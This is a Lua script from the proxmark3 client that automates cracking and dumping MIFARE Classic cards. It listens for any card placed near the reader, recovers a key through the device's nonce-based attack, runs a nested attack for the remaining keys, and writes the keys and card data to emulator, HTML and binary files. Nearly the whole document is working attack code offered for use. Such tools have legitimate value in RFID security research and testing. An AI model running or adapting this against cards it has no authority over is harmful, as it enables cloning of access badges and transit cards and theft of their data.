Markdown help: use fixed column width
[proxmark3-svn] / client / scripts / mifare_autopwn.lua
1 local getopt = require('getopt')
2 local reader = require('read14a')
3 local cmds = require('commands')
4
5 example = "script run mifare_autopwn"
6 author = "Martin Holst Swende"
7
8
9 desc =
10 [[
11 This is a which automates cracking and dumping mifare classic cards. It sets itself into
12 'listening'-mode, after which it cracks and dumps any mifare classic card that you
13 place by the device.
14
15 Arguments:
16 -d debug logging on
17 -h this help
18
19 Output files from this operation:
20 <uid>.eml - emulator file
21 <uid>.html - html file containing card data
22 dumpkeys.bin - keys are dumped here. OBS! This file is volatile, as other commands overwrite it sometimes.
23 dumpdata.bin - card data in binary form. OBS! This file is volatile, as other commands (hf mf dump) overwrite it.
24
25 ]]
26
27 -------------------------------
28 -- Some utilities
29 -------------------------------
30 local DEBUG = false
31 ---
32 -- A debug printout-function
33 function dbg(args)
34 if DEBUG then
35 print(":: ", args)
36 end
37 end
38 ---
39 -- This is only meant to be used when errors occur
40 function oops(err)
41 print("ERROR: ",err)
42 return nil,err
43 end
44
45 ---
46 -- Usage help
47 function help()
48 print(desc)
49 print("Example usage")
50 print(example)
51 end
52
53 ---
54 -- Waits for a mifare card to be placed within the vicinity of the reader.
55 -- @return if successfull: an table containing card info
56 -- @return if unsuccessfull : nil, error
57 function wait_for_mifare()
58 while not core.ukbhit() do
59 res, err = reader.read1443a()
60 if res then return res end
61 -- err means that there was no response from card
62 end
63 return nil, "Aborted by user"
64 end
65
66 function mfcrack()
67 core.clearCommandBuffer()
68 -- Build the mifare-command
69 local cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 1}
70
71 local retry = true
72 while retry do
73 core.SendCommand(cmd:getBytes())
74 local key, errormessage = mfcrack_inner()
75 -- Success?
76 if key then return key end
77 -- Failure?
78 if errormessage then return nil, errormessage end
79 -- Try again..set arg1 to 0 this time.
80
81 cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 0}
82 end
83 return nil, "Aborted by user"
84 end
85
86
87 function mfcrack_inner()
88 while not core.ukbhit() do
89 local result = core.WaitForResponseTimeout(cmds.CMD_ACK,1000)
90 if result then
91 -- Unpacking the three arg-parameters
92 local count,cmd,isOK = bin.unpack('LL',result)
93
94 if isOK ~= 1 then return nil, "Error occurred" end
95
96
97 -- The data-part is left
98 -- Starts 32 bytes in, at byte 33
99 local data = result:sub(33)
100
101 -- A little helper
102 local get = function(num)
103 local x = data:sub(1,num)
104 data = data:sub(num+1)
105 return x
106 end
107
108 local uid,nt,pl = get(4),get(4),get(8)
109 local ks,nr = get(8),get(4)
110
111 local status, key = core.nonce2key(uid,nt, nr, pl,ks)
112 if not status then return status,key end
113
114 if status > 0 then
115 print("Key not found (lfsr_common_prefix problem)")
116 -- try again
117 return nil,nil
118 else
119 return key
120 end
121 end
122 end
123 return nil, "Aborted by user"
124 end
125
126 function nested(key,sak)
127 local typ = 1
128 if 0x18 == sak then --NXP MIFARE Classic 4k | Plus 4k
129 typ = 4
130 elseif 0x08 == sak then -- NXP MIFARE CLASSIC 1k | Plus 2k
131 typ= 1
132 elseif 0x09 == sak then -- NXP MIFARE Mini 0.3k
133 typ = 0
134 elseif 0x10 == sak then-- "NXP MIFARE Plus 2k"
135 typ = 2
136 else
137 print("I don't know how many sectors there are on this type of card, defaulting to 16")
138 end
139 local cmd = string.format("hf mf nested %d 0 A %s d",typ,key)
140 core.console(cmd)
141 end
142
143 function dump(uid)
144 core.console("hf mf dump")
145 -- Save the global args, those are *our* arguments
146 local myargs = args
147 -- Set the arguments for htmldump script
148 args =("-o %s.html"):format(uid)
149 -- call it
150 require('../scripts/htmldump')
151
152 args =""
153 -- dump to emulator
154 require('../scripts/dumptoemul')
155 -- Set back args. Not that it's used, just for the karma...
156 args = myargs
157 end
158
159 ---
160 -- The main entry point
161 function main(args)
162
163
164 local verbose, exit,res,uid,err,_,sak
165 local seen_uids = {}
166
167 -- Read the parameters
168 for o, a in getopt.getopt(args, 'hd') do
169 if o == "h" then help() return end
170 if o == "d" then DEBUG = true end
171 end
172
173 while not exit do
174 res, err = wait_for_mifare()
175 if err then return oops(err) end
176 -- Seen already?
177 uid = res.uid
178 sak = res.sak
179 if not seen_uids[uid] then
180 -- Store it
181 seen_uids[uid] = uid
182 print("Card found, commencing crack", uid)
183 -- Crack it
184 local key, cnt
185 res,err = mfcrack()
186 if not res then return oops(err) end
187 -- The key is actually 8 bytes, so a
188 -- 6-byte key is sent as 00XXXXXX
189 -- This means we unpack it as first
190 -- two bytes, then six bytes actual key data
191 -- We can discard first and second return values
192 _,_,key = bin.unpack("H2H6",res)
193 print("Key ", key)
194
195 -- Use nested attack
196 nested(key,sak)
197 -- Dump info
198 dump(uid)
199 end
200 end
201 end
202
203 -- Call the main
204 main(args)
Impressum, Datenschutz